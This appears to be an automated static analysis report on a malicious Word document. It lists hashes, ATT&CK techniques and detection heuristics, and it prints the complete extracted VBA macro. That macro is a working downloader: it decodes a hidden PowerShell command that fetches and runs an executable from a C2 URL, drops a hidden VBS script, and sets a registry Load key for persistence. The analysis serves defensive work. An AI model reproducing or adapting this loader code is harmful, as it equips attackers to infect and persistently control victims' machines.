Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b980b24bad4535fa…

MALICIOUS

Office (OLE)

33.0 KB Created: 2018-07-12 07:15:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: b193fe913efb2acda844ed285aa90e62 SHA-1: 2ec1c59bd2f2d2b59b3813691b6dc8636d5aeecf SHA-256: b980b24bad4535fab4587efebf193d60d744c9baebe99cdc00762708774e353d
410 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1140 Deobfuscate/Decode Files or Information T1204.002 Malicious File T1071.001 Web Protocols

The VBA macro uses a deobfuscation function to reconstruct a PowerShell command. This command is designed to download a file from 'http://p&c.h&w#@l!b.c&m/C2/Ag@nt/20180712031518' and execute it as 'Sc!nn@rDr#v@r.@x@'. The macro also attempts to establish persistence by writing to a file that appears to be part of a script to be executed.

Heuristics 11

  • ClamAV: Doc.Downloader.Powload-6719449-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6719449-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
            strComputer = "."
            Shell "wscript C:\Users\Public\config.vbs", vbNormalFocus
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
          a.WriteLine ("Dim objShell")
          a.WriteLine ("Set objShell = WScript.CreateObject(""WScript.Shell"")")
          a.WriteLine (dstr)
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
      URL = "http://www.google.com"
      Set IE = CreateObject("Internetexplorer.Application")
      IE.Visible = False
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
      URL = "http://www.google.com"
      Set IE = CreateObject("Internetexplorer.Application")
      IE.Visible = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
    Sub AutoOpen()
      CheckInternet
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://p&c.h&w#@l!b.c&m/C2/Ag@nt/20180712031518 In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://www.google.comIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2549 bytes
SHA-256: 66e80c15d4202f442d3a3e92ad6a2f1f39df816552f3f308595d357c1c6574e9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
  CheckInternet
End Sub

Public Function Deobf(ObfString As String) As String
 Deobf = Replace(ObfString, "!", "a")
 Deobf = Replace(Deobf, "@", "e")
 Deobf = Replace(Deobf, "#", "i")
 Deobf = Replace(Deobf, "&", "o")
 Deobf = Replace(Deobf, "%", "u")
End Function

Public Function CheckInternet() As Variant
  Dim URL As String
  Dim IE As Object
  Dim html_title As String
  URL = "http://www.google.com"
  Set IE = CreateObject("Internetexplorer.Application")
  IE.Visible = False
  IE.Navigate URL
  Do
  Loop While IE.Busy
  html_title = IE.Document.Title
  If InStr(html_title, "Google") Then
      Persist
      Reg
      Start
  Else
      MsgBox "Fail"
  End If
  IE.Quit
  Set IE = Nothing
End Function

Public Function Persist() As Variant
 Dim nstr As String
 nstr = "c&mm!nd = ""C:\WINDOWS\syst@m32\W#nd&wsP&w@rSh@ll\v1.0\p&w@rsh@ll.@x@ -@p Byp!ss -W#nd&wStyl@ H#dd@n -n&p -n&@x#t -c IEX ((N@w-Obj@ct N@t.W@bCl#@nt).D&wnl&!dF#l@('http://p&c.h&w#@l!b.c&m/C2/Ag@nt/20180712031518','Sc!nn@rDr#v@r.@x@'));St!rt-Pr&c@ss 'Sc!nn@rDr#v@r.@x@'"""
 Dim dstr As String
 dstr = Deobf(nstr)
 Set fs = CreateObject("Scripting.FileSystemObject")
    If Not fs.FileExists("C:\Users\Public\config.txt") Then
      Set a = fs.CreateTextFile("C:\Users\Public\config.txt", True)
      a.WriteLine ("Dim objShell")
      a.WriteLine ("Set objShell = WScript.CreateObject(""WScript.Shell"")")
      a.WriteLine (dstr)
      a.WriteLine ("objShell.Run command,0")
      a.WriteLine ("Set objShell = Nothing")
      a.Close
      GivenLocation = "C:\Users\Public\"
      OldFileName = "config.txt"
      NewFileName = "config.vbs"
      Name GivenLocation & OldFileName As GivenLocation & NewFileName
      SetAttr "C:\Users\Public\config.vbs", vbHidden
    End If
End Function

Public Function Reg() As Variant
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load", "C:\Users\Public\config.vbs", "REG_SZ"
Set WshShell = Nothing

End Function

Public Function Start() As Variant
 Const HIDDEN_WINDOW = 0
        strComputer = "."
        Shell "wscript C:\Users\Public\config.vbs", vbNormalFocus
      
End Function